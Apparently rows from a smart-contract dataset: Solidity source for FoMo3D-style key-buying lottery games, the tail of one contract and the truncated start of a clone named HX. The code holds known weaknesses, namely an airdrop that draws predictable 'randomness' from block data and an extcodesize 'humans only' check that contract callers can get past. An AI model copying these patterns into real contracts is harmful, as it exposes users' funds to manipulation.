if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,909 |
pragma solidity ^0.4.24;
contract HXevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is HXevents {}
contract HX is modularShort {
using SafeMath for *;
using NameFilter for string;
using HXKeysCalcLong for uint256;
address developer_addr = 0xE5Cb34770248B5896dF380704EC19665F9f39634;
address community_addr = 0xb007f725F9260CD57D5e894f3ad33A80F0f02BA3;
address token_community_addr = 0xBEFB937103A56b866B391b4973F9E8CCb44Bb851;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF7ca07Ff0389d5690EB9306c490842D837A3fA49);
string constant public name = "HX";
string constant public symbol = "HX";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => HXdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => HXdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => HXdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => HXdatasets.TeamFee) public fees_;
mapping (uint256 => HXdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = HXdatasets.TeamFee(30,6);
fees_[1] = HXdatasets.TeamFee(43,0);
fees_[2] = HXdatasets.TeamFee(56,10);
fees_[3] = HXdatasets.TeamFee(43,8);
potSplit_[0] = HXdatasets.PotSplit(15,10);
potSplit_[1] = HXdatasets.PotSplit(25,0);
potSplit_[2] = HXdatasets.PotSplit(20,20);
potSplit_[3] = HXdatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
HXdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
HXdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
HXdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
HXdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit HXevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit HXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
